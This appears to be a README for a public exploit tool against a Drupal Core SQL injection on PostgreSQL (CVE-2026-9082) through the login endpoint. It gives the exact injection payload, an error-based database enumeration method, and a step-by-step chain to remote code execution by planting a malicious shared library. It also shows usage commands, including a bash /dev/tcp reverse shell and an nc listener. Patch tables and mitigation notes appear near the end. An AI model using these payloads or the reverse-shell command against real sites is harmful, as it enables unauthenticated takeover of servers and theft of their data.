
Drupal Core PostgreSQL SQLi to RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Unauthenticated SQL injection in Drupal Core on PostgreSQL via POST /user/login, escalated to remote code execution through PostgreSQL session_preload_libraries.
Unlike existing public exploits that target JSON:API, this uses the login endpoint — always available, no modules or published content required.
Advisory: SA-CORE-2026-004 | Risk: 23/25 (Highly Critical) | CISA KEV
Only Drupal sites backed by PostgreSQL are vulnerable.
| Branch | Vulnerable | Patched |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | All | End of life - upgrade |
Drupal's PostgreSQL entity query condition handler (core/modules/pgsql/src/EntityQuery/Condition.php) builds case-insensitive IN conditions by iterating $condition['value'] as an associative array and concatenating user-controlled keys directly into PDO placeholder identifiers — the generated SQL contains LOWER(:<prefix><key>) where <key> comes verbatim from the attacker.
This code path is only reached when two conditions are met: is_array($condition['value']) and $case_sensitive === FALSE. This is why only PostgreSQL is affected — MySQL and SQLite do not have this case-insensitive LOWER() branch.
PDO's named-parameter parser only recognizes [a-zA-Z0-9_] after the :. Characters outside that set (such as | or )) terminate the placeholder token. So a key like 0||(subquery) produces a placeholder :prefix0 (shared with the legitimate key 0) plus literal SQL ||(subquery) that reaches PostgreSQL unparameterized.
The fix is a single array_values() call that discards attacker-supplied keys before SQL generation.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
The name field is sent as a JSON object instead of a string. Drupal passes it into an entity query IN condition with case-insensitive comparison. For each array key, Drupal generates LOWER(:<prefix><key>) in the SQL. The resulting query looks like:
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO recognizes :users_field_data_name0 as the placeholder in both entries (stopping at | in the second), and binds both to 'x'. The remainder ||(SELECT ...) passes through as literal SQL. After substitution, PostgreSQL receives:
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
The CAST(... AS int) fails on non-integer data, and the error message leaks the query result.
When the database user is a PostgreSQL superuser, the SELECT-only injection can be escalated to RCE:
data_directory, superuser status.so module with _PG_init() calling system().so to data_directory via large objects (lo_create -> lo_put -> lo_export)postgresql.auto.conf to set session_preload_libraries and dynamic_library_pathpg_reload_conf()pg_read_file()SQL injection (cve_2026_9082_check.py):
Remote code execution (cve_2026_9082_rce.py):
docker available locally (for cross-compilation on macOS)pip install -r requirements.txt
# Validate the SQL injection
python3 cve_2026_9082_check.py http://target:8081
# With a proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# List all databases
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# List tables in a database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# List columns in a table
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Run a command
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
SQLi validation against a vulnerable instance:

Database enumeration via error-based injection:

Escalation to remote code execution:

Update Drupal immediately to a patched version:
If you cannot update right away:
POST /user/login requests with JSON objects in the name fieldPatches and details: SA-CORE-2026-004
| Date | Event |
|---|---|
| 2026-05-20 | Drupal publishes SA-CORE-2026-004, patches released |
| 2026-05-22 | Active exploitation in the wild, added to CISA KEV |
| 2026-05-26 | Ambionics publishes SQLi-to-RCE technique via JSON:API |
| 2026-06-07 | This tool released |
/user/login) described by bitk & jfellus (YesWeHack)session_preload_libraries) by N. Maccary / Ambionics (Lexfo)/user/login vector by r0m41nThis tool is provided for authorized security testing and educational purposes only.
Unauthorized access to computer systems is illegal. The author assumes no liability for any misuse of this software. Always obtain proper authorization before testing systems you do not own.